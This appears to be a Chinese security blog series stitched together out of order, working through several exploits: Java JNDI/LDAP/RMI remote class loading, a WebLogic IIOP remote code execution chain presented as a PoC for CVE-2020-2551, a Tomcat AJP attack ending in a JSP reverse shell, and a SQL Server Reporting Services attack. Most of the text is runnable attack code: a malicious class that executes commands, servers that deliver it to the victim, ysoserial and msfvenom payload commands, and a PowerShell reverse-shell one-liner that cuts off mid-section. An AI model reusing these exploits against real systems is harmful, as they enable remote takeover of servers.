所以label部分跨目录时不能出现/ ,否则/右边的部分就视为git 仓库下的文件了。
文件存在,跳出循环。
所以这个漏洞只能读取带文件后缀的文件。
补丁的话新增了一个isInvalidEncodedLocation()方法:
接下来就是用之前的理解去日weblogic,说到底就是让weblogic 执行 InitialContext.lookup()方法,参数是我们提供的恶意ldap服务,然后远程加载恶意代码。
这里 还要继续用《JAVA序列化利用学习四:ldap lookup + javaCodebase 从http加载payload》的部分类。
weblogic用的是12.1.3,Windows平台。192.168.1.217。
攻击还是从kali发起的。192.168.1.99。
HttpServer类不变,启动。
ExportObject里执行的命令换成:
//exec("gnome-calculator");
exec("calc");
启动LDAPRefServer。
把LDAPServer2中的javaCodebase的http地址换成kali的IP(192.168.1.99)
Attribute mod2 = new BasicAttribute("javaCodebase",
"http://192.168.1.99:8000/");
启动LDAPServer2,向LDAP服务插入数据。
准备好这些,就可以日weblogic了。
去weblogic里拿:
com.bea.core.repackaged.apache.commons.logging_1.2.1.jar
com.bea.core.repackaged.springframework.pitchfork_1.4.0.0_1-0.jar
com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar
wlclient.jar
这四个包,导入到项目。
先复习一下T3协议的攻击:
package com.hans.weblogicLdapExploit;
import java.util.Hashtable;
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import javax.ejb.EJBHome;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class WeblogicLdapLookup {
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
public final static String url = "t3://192.168.1.217:7001";
public static void main(String[] args) throws NamingException, ClassNotFoundException {
try {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
Context initialContext = new InitialContext(env);
String jndiAddress = "ldap://192.168.1.99:1389/uid=hans,ou=employees,dc=example,dc=com";
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiAddress);
EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB");
ejbHome.remove(jtaTransactionManager);
}catch(Exception e) {
System.out.println(e);
}
}
}
我不知道EJBHome做什么,我要假装知道EJBHome长什么样:
package javax.ejb;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface EJBHome extends Remote {
void remove(Handle var1) throws RemoteException, RemoveException;
void remove(Object var1) throws RemoteException, RemoveException;
EJBMetaData getEJBMetaData() throws RemoteException;
HomeHandle getHomeHandle() throws RemoteException;
}
关于 JtaTransactionManager 的利用链,https://paper.seebug.org/1091/#jndildap 有详细的说明。
该利用方式适合没打补丁的weblogic:
由于后续的补丁在T3协议readObject的时候加了黑名单,所以JtaTransactionManager 的利用链在打上补丁的weblogic就失效了。
在2020年年初的时候爆出来 使用iiop协议可以绕过限制(CVE-2020-2551),造成远程代码执行 https://qiita.com/shimizukawasaki/items/7e01401a706900435591
然后我在这遇到一个巨坑!卡了我好久。
我一开始用的wlthint3client.jar包,结果利用IIOP协议的时候一直报
weblogic.jndi.WLInitialContextFactory Unknown protocol IIOP
找了好久才发现用的是t3的client包(wlthint3client.jar)!奶奶的。
去weblogic里拿个wlclient.jar换进来就好了。
对前面的payload稍加修改
package com.hans.weblogicLdapExploit;
import java.util.Hashtable;
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import javax.ejb.EJBHome;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class WeblogicLdapLookup {
/**/
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
public final static String url = "iiop://192.168.1.217:7001";
public static void main(String[] args) throws NamingException, ClassNotFoundException {
try {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
Context initialContext = new InitialContext(env);
String jndiAddress = "ldap://192.168.1.99:1389/uid=hans,ou=employees,dc=example,dc=com";
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiAddress);
EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB");
ejbHome.remove(jtaTransactionManager);
}catch(Exception e) {
System.out.println(e);
}
}
}
可远程执行ExportObject的代码。
查看weblogic的错误日志,确实发生在IIOP协议:
由于我没有weblogic的补丁,只是凭现有的信息和知识,猜测,这应该就是CVE-2020-2551的POC。
完全代码放到我的 gitlab
这篇的核心是javaCodebase从外部加载恶意类,但是 是用 javax.naming.Context的lookup方法加ldap协议触发。
但是仅限Oracle JDK 11.0.1、8u191、7u201、6u211之前的JDK,否则需要手动打开属性:
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
这里 是引用的 https://paper.seebug.org/1091/#jndildap 的说法,但是jdk 7 最高只到了80,因此 7u201、6u211 这两个可能不对,仅供参考。我在jdk8u172和jdk8u20都测试通过了。
下面上测试代码。
用于感染的服务通过javaCodebase从这里加载恶意的外部类。
http server:
package com.hans.httpServer;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
* 你客户端缺什么类到我这个Http服务上来拿
* https://paper.seebug.org/1091/
* 1. First start http server
* */
public class HttpServer implements HttpHandler {
public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while (inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String args[]) throws IOException {
com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);
System.out.println("String HTTP Server on port: 8000");
httpServer.createContext("/", new HttpServer());
httpServer.setExecutor(null);
httpServer.start();
}
}
恶意的类:
package com.hans.remoteClass;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;
public class ExportObject implements ObjectFactory, Serializable {
private static final long serialVersionUID = 1L;
static {
//这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
try {
// run command on kali
exec("gnome-calculator");
// run command on windows
//exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
// throw new Exception(sb);
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
启动com.hans.httpServer.HttpServer 即可通过 curl “http://localhost:8000/com/hans/remoteClass/ExportObject.class” 请求到恶意类。
先开一个正常的LDAP服务:
package com.hans.ldapServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*/
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=hans,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
再向ldap服务插入数据:
package com.hans.ldapServer;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.rmi.RemoteException;
import java.util.Hashtable;
/*
* It works for LdapLookupPayload.java
* */
public class LDAPServer2 {
public static void main(String[] args) throws NamingException, RemoteException {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
Attribute mod1 = new BasicAttribute("objectClass", "top");
mod1.add("javaNamingReference");
Attribute mod2 = new BasicAttribute("javaCodebase",
"http://127.0.0.1:8000/");
Attribute mod3 = new BasicAttribute("javaClassName",
"PayloadObject");
Attribute mod4 = new BasicAttribute("javaFactory", "com.hans.remoteClass.ExportObject");
ModificationItem[] mods = new ModificationItem[]{
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1),
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2),
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3),
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4)
};
ctx.modifyAttributes("uid=hans,ou=employees,dc=example,dc=com", mods);
}
}
package com.hans.weblogicLdapExploit;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LdapLookupPayload {
public static void main(String[] args) throws NamingException {
// 最新的JDK需开启这个属性
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=hans,ou=employees,dc=example,dc=com");
}
}
可以看到 InitialContext()初始化出来的Content对象,在受影响的jdk中,是存在漏洞的,若lookup的参数可受用户控制,可以造成远程代码执行。
请参考 https://paper.seebug.org/1091/#jndildap 该文章的内容。
这一篇的重点还是远程加载。
运行环境,JDK 8u113以前的版本。之后的版本默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。
JNDI注入最开始起源于野外发现的Java Applets 点击播放绕过漏洞(CVE-2015-4902),它的攻击过程可以简单概括为以下几步:
com.hans.httpServer.HttpServer
package com.hans.httpServer;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
* 你客户端缺什么类到我这个Http服务上来拿
* https://paper.seebug.org/1091/
* 1. First start http server
* */
public class HttpServer implements HttpHandler {
public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while (inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String args[]) throws IOException {
com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);
System.out.println("String HTTP Server on port: 8000");
httpServer.createContext("/", new HttpServer());
httpServer.setExecutor(null);
httpServer.start();
}
}
com.hans.remoteClass.ExportObject
package com.hans.remoteClass;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;
public class ExportObject implements ObjectFactory, Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
static {
//这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
try {
exec("gnome-calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
// throw new Exception(sb);
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
当在eclipse中启动 http server时,eclipse会同时编译ExportObject.java。即可通过 http://localhost:8000/com/hans/remoteClass/ExportObject.class 获取恶意的类并运行。
com.hans.JNDIReference.RMIServer
package com.hans.JNDIReference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
// 创建Registry
Registry registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
Reference refObj = new Reference("ExportObject", "com.hans.remoteClass.ExportObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
com.hans.JNDIReference.RMIClient
package com.hans.JNDIReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
// Properties env = new Properties();
// env.put(Context.INITIAL_CONTEXT_FACTORY,
// "com.sun.jndi.rmi.registry.RegistryContextFactory");
// env.put(Context.PROVIDER_URL,
// "rmi://localhost:9999");
Context ctx = new InitialContext();
DirContext dirc = new InitialDirContext();
ctx.lookup("rmi://localhost:9999/refObj");
}
}
1.先启动HttpServer
2.在启动RMIServer
3.最后启动RMIClient
当请求RMI服务上的对象时,也就是InitialContext().lookup(),会同时请求恶意服务器上的Reference类,并加载恶意http服务上的com.hans.remoteClass.ExportObject.class恶意类,导致远程代码执行。InitialContext().lookup()是关键。后面weblogic漏洞的触发也是在这个函数方法上。
这节引入了 LDAP服务。通过JNDI (Java Naming and Directory Interface) 来lookup LDAP服务,造成加载远程类。
创建一个LDAP服务:
com.hans.ldapServer.LDAPRefServer
package com.hans.ldapServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*/
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=hans,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
向LDAP服务注入恶意Object:
package com.hans.ldapServer.LDAPServer1
package com.hans.ldapServer;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.ModificationItem;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.util.Hashtable;
public class LDAPServer1 {
public static void main(String[] args) throws NamingException, IOException {
System.out.println("Working Directory = " +
System.getProperty("user.dir"));
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
// 暂时没用上
String javaCodebase = "http://127.0.0.1:8000/";
byte[] javaSerializedData = Files.readAllBytes(new File("resources/Jdk7u21_calc.ser").toPath());
BasicAttribute mod1 = new
BasicAttribute("javaCodebase", javaCodebase);
BasicAttribute mod2 = new
BasicAttribute("javaClassName", "DeserPayload");
BasicAttribute mod3 = new BasicAttribute("javaSerializedData",
javaSerializedData);
ModificationItem[] mods = new ModificationItem[3];
mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3);
ctx.modifyAttributes("uid=hans,ou=employees,dc=example,dc=com", mods);
}
}
ysoserial生成一个payload,放到resources目录下:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser
com.hans.weblogicLdapExploit.Payload
package com.hans.weblogicLdapExploit;
import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
public class Payload {
public final static String JNDI_FACTORY = "com.sun.jndi.ldap.LdapCtxFactory";
public final static String url = "ldap://localhost:1389";
public static void main(String[] args) throws Exception {
/*
原子名是一个简单、基本、不可分割的组成部分
绑定是名称与对象的关联,每个绑定都有一个不同的原子名
复合名包含零个或多个原子名,即由多个绑定组成
上下文是包含零个或多个绑定的对象,每个绑定都有一个不同的原子名
命名系统是一组关联的上下文
名称空间是命名系统中包含的所有名称
探索名称空间的起点称为初始上下文
要获取初始上下文,需要使用初始上下文工厂
* */
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
DirContext ctx = new InitialDirContext(env);
Object local_obj = ctx.lookup("uid=hans,ou=employees,dc=example,dc=com");
}
}
为了触发漏洞,这个受感染的Service必须要用JDK7U21及其以下版本的JDK。
除了LDAP,这些对象还可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA)或域名服务(DNS)。
360最近正好有研究CORBA :
https://cert.360.cn/report/detail?id=d3f6666d6558f02a6204dd51cb749558
2020年 年初的时候,Weblogic爆出了一个漏洞CVE-2020-2551,说是 IIOP协议存在反序列化漏洞,可RCE(https://qiita.com/shimizukawasaki/items/7e01401a706900435591 )。
由于当时水平有限,对JAVA 序列化的理解,仅停留在ysoserial生成payload,readObject()一下就能触发RCE。
网上也没有POC,只能深入学习一下。
有幸拜读了前辈们的总结心得:
受益良多。也算是对JAVA的序列化利用有了新的认识。
内容较多,且内容深度急剧下降,对新手很难掌握。
《JAVA序列化利用学习》这个系列算是抽丝剥茧,一步一步由浅入深,理解CVE-2020-2551是怎么回事。
建议先把前辈的两篇文章按顺序读两遍。理论知识基础全部来自这里两篇文章。
本系列的代码全部摘自前辈的github:
https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms
前辈的github里有很多去weblogic Lookup对象的例子这里就不拿出来了,比较简单,可以跑跑看。
注意的是需要去Weblogic中拿 wlclient.jar 导入到项目。
可以在eclipse中创建maven项目来测试这些代码。
环境:JDK6u29 KaliLinux Eclipse
先用ysoserial生成RCE的序列化流文件:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser
1.先创建一个恶意类:
com.hans.remoteClass.ExportObject
package com.hans.remoteClass;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;
public class ExportObject implements ObjectFactory, Serializable {
private static final long serialVersionUID = 1L;
static {
//这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
try {
exec("gnome-calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
// throw new Exception(sb);
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
2.启动一个Http server 提供远程调用恶意类:
com.hans.httpServer.HttpServer
package com.hans.httpServer;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
* 你客户端缺什么类到我这个Http服务上来拿
* https://paper.seebug.org/1091/
* 1. First start http server
* */
public class HttpServer implements HttpHandler {
public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while (inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String args[]) throws IOException {
com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);
System.out.println("String HTTP Server on port: 8000");
httpServer.createContext("/", new HttpServer());
httpServer.setExecutor(null);
httpServer.start();
}
}
3.然后部署一个RMI Server
com.hans.RMI.Message
package com.hans.RMI;
import java.io.Serializable;
public class Message implements Serializable {
private static final long serialVersionUID = 1L;
private String msg;
public Message() {
}
public String getMessage() {
System.out.println("Processing message: " + msg);
return msg;
}
public void setMessage(String msg) {
this.msg = msg;
}
}
com.hans.RMI.Services
package com.hans.RMI;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
com.hans.RMI.ServicesImpl
package com.hans.RMI;
import java.rmi.RemoteException;
import com.hans.remoteClass.ExportObject;
public class ServicesImpl implements Services {
public ExportObject sendMessage(Message msg) throws RemoteException {
return new ExportObject();
}
}
com.hans.RMI.RMIServer
package com.hans.RMI;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
/*
* 2. Second start RMI server
* */
public class RMIServer {
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();
// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
//设置java.rmi.server.codebase
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
Registry reg;
try {
// 创建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
reg.bind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
当在eclipse中启动 http server时,eclipse会同时编译ExportObject.java。即可通过 http://localhost:8000/com/hans/remoteClass/ExportObject.class 获取恶意的类测试服务是否启动成功。
作为远程方法调用,我可以不知道ExportObject做了啥,但是我必须要知道ExportObject外表长啥样:
com.hans.remoteClass.ExportObject
package com.hans.remoteClass;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;
public class ExportObject implements ObjectFactory, Serializable {
private static final long serialVersionUID = 1L;
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
com.hans.RMI.Message
package com.hans.RMI;
import java.io.Serializable;
public class Message implements Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
private String msg;
public Message() {
}
public String getMessage() {
System.out.println("Processing message: " + msg);
return msg;
}
public void setMessage(String msg) {
this.msg = msg;
}
}
com.hans.RMI.Services
package com.hans.RMI;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
com.hans.RMI.RMIClient
package com.hans.RMI;
import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient
{
public static void main( String[] args ) throws Exception
{
//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
System.setProperty("java.security.policy", RMIClient.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
Message message = new Message();
message.setMessage("hahaha");
services.sendMessage(message);
}
}
当Client项目运行在kali linux 时,从远程加载类库时会触发代码执行,弹出计算器。
2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布关于Apache Tomcat的安全公告,Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。Tomcat AJP协议由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。
读取服务器webapp下的任意文件的POC网上太多了,这里就跳过。学习一下拿shell的思路。
前提条件:
能上传jsp之类的脚本文件到服务器(文件名后缀不限),文件目录知道,且在web目录下。
1 准备利用的jsp文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.111 LPORT=4444 -f raw > shell.jsp
假设shell.jsp 文件成功被我上传到了 web目录的 attachments 文件夹下。
(实测在jpg里藏代码,后缀用jpg不行,用jsp就可以)
2 msf监听shell
msfconsole -q -x 'handler -H 0.0.0.0 -P 4444 -p linux/x86/shell/reverse_tcp'
3 利用
java -jar .\ajpfuzzer_v0.6.jar
AJPFuzzer> connect 192.168.1.111 8009
AJPFuzzer/192.168.1.111:8009> forwardrequest 2 "HTTP/1.1" "/attachments/shell.jsp" 127.0.0.1 localhost porto 8009 false "Cookie:AAAA=BBBB" ""
获取了shell。
原因是:当ajp URI设置为jsp路径时,Tomcat会调用JspServlet的service方法处理。
具体请参考别人的分析:
https://mp.weixin.qq.com/s/v3EQw4xaE4QTbvEwkfHz9w
影响范围
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31
【背景】
2020年2月,微软发布一系列补丁,其中修复了CVE-2020-0618漏洞,该漏洞需要认证,使用账号密码通过ntml方式登录sql server的SQL Server Reporting Services (SSRS)才能利用,账户权限据说任何权限都可以,我直接用的administrator,其他没测。使用该漏洞可以获取操作系统权限。
【漏洞详情】
1 burp里对sql server配置ntml认证。User options -> connections -> Plateform Authentication
2 nc 设置监听,监听80端口 (测试 443 445 都可以)。
sudo nc -nlvp 80
3 去 https://github.com/pwntester/ysoserial.net/releases 下载 ysoserial.net 工具生成payload,在powershell执行命令:
$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.1.111",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
